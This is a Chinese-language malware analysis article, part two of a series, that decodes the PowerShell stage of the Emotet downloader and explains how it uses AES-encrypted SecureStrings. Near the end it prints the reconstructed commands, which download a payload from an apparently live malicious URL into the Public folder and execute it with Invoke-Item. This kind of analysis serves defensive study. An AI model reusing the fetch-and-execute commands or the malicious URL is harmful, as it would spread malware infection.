导语:本文的主要目的是帮助读者了解Emotet的结构和流,所以代码的变化并不会对恶意软件的分析产生影响。本文还将详细介绍代码中比较重要的部分来深刻理解恶意软件详细的执行过程。
本部分是《恶意软件分析:解码Emotet》的第二部分,本部分主要对Powershell代码进行分析。在分析PowerShell前,我们先对代码执行过程中的函数和调用进行分析。
· System.Runtime.InteropServices.Marshal: 用于内存管理
· SecureStringToBSTR: 用于将安全字符串转变成解密的数据
· ConvertTo-SecureString: 用于将加密数据转变成安全字符串
加密和PowerShell
事实上,有很多的方法用PowerShell来加密数据。DPAPI(Data Protection Application Programming Interface,数据保护应用程序接口)是一种用PowerShell加密的方法,但Emotet恶意软件并没有使用。Emotet下载器恶意软件使用AES来加密数据,下面先看一下AES的工作原理。
如果数据用ConvertTo-SecureString(不含key)进行加密,PowerShell默认会使用DPAPI。但这种情况只对登录的用户适用。如果数据用ConvertTo-SecureString(含key)进行加密,PowerShell会使用AES来解密数据,而且可以由知道加密密钥的任何用户在任何机器上解密。Emotet下载器会用AES来加密所有的代码,而key已经硬编码在恶意软件自己内部了。
代码执行流
代码结构
[RuntIME.InteroPsERvICEs.marshAl]::([runtiME.IntErOpserViceS.marshal].GeTMEmbERS()[2].nAME).inVOKe([RUNtIme.intEropseRVICEs.MarShal]::SeCURestrINgtogLoBaLaLloCUnicOde(
首先,需要从上面的代码段中提取有效的代码,然后重新构造结构;然后就可以按照执行流去解密代码。
[System.Runtime.InteropServices.Marshal]:: PtrToStringAuto([System.Runtime.InteropServices.Marshal]:: SecureStringToGlobalAllocUnicode
代码分析
上面代码的作用是去寻找加密的数据字符串,然后运行SecureString解密。就可以访问VBA中加密的数据。
然后把加密的代码通过ConvertTo-SecureString运行来开启解密过程。
因为数据字符串很长,最好先保存为文件,然后以变量的方式传递给PowerShell。
为了方便分析,将其保存为文件encrypted_code.txt。
以$vEncrypted参数的形式传递:
$vEncrypted = [IO.File]::ReadAllText(“absolute_path\encrypted_code.txt”)
还有其他不同的方式来得到同样的结果,比如可以使用Get-Content。
然后,运行ConvertTo-SecureString将加密的字符串转变成SecureString:
$vDecrypted = ConvertTo-SecureString -String $vEncrypted -k (key goes here)
注:恶意软件开发者之前使用了ConvertTo-SecureString(含key)来加密数据。研究人员逆向了该进程来提取加密的代码。
最后一步就是利用SecureString获得解密的代码。
然后把结果保存在一个简单的变量中。
$vResult = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($vDecrypted))
$vResult中应该有含有payload URL的完整解密代码。
下一步分析
在了解了代码流后,在PowerShell中运行,就可以了解代码的运行原理。
首先,将加密的代码传到参数 $vEncrypted:
如下所示,加密的数据已保存在变量vEncrypted中了:
下一步就是运行ConvertTo-SecureString函数将加密的数据转变成SecureString。使用的key是硬编码在恶意代码中的。输出的结果传递到变量vDecrypted中:
下一步是确认转变是否成功。从下图可以看出,转变是成功的:
最后一步就是通过SecureStringToBSTR解密数据,并将输出的结果传递给变量vResult:
然后就可以打印变量的输出结果。
执行代码就可以提取payload URL并以一种干净的方式打印到console。在代码中,变量$ADCX含有URL,可以用split函数将URL分割出来并传递给$ADCX。
然后打印出$ADCX的值到console。
重新构造命令行参数
下面是PowerShell结构化的、可读的代码:
下面是经过美化的相同的代码:
下面分析变量来重新构造完整的命令行参数:
$nsadasd
该变量的值涉及的输出,翻译给System.random
后面该代码的变量被用来随机生成一个10000到282133之间的数,作为下载的payload的文件名。随后分析$NSB过程中还会看到这个参数。
$YYU
该变量会被分配一个值(new-object) System.Net.WebClient,随后会被DownloadFile使用来从特定URI下载内容并保存为本地文件。下图中的参数(属性)是用来开启payload下载的。
$NSB
该变量会调用之前定义的变量nsadasd,该参数会变成random.next方法。返回一个10000到282133之间的随机数。如下所示,每次会返回一个不同的值。
$SDC
$SDC = $env:public + ‘\’ + $NSB + (‘.exe’);
该变量会给payload加上绝对路径,并且文件名也是用变量NSB生成的。
上面讲述了$ADCX变量以及如何从中提取出URI。下面重新构建被传递给系统用来下载payload,并保存到本地,然后执行的整个命令行参数。
这是代码执行过程中,恶意软件使用变量的过程:
下面是一种更可读的方式:
重新构建命令行参数:
(New-Object) System.Net.WebClient.”DownloadFile”(http://lecap-services.fr/wiB9s.”ToString”(), C:\USers\Public\264415.exe);
上面的命令会初始化从特定URI下载数据的过程,并保存到本地C:\USers\Public\264415.exe。
(‘Invoke-Item’)(C:\USers\Public\264415.exe);
最后的命令会开始payload执行过程。
总结
Emotet是一款复杂的恶意软件,同时是一个活跃的威胁,有许多活动将该恶意软件推向全球。代码混淆和加密被用来隐藏代码的过程是非常复杂的。事实上,这是最复杂的下载器之一。
更多阅读:《恶意软件分析:解码Emotet(一)》